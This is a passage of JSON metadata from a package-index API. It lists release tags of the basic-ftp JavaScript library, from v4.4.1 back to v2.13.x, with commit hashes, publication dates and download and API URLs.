ositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6","kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.1","htm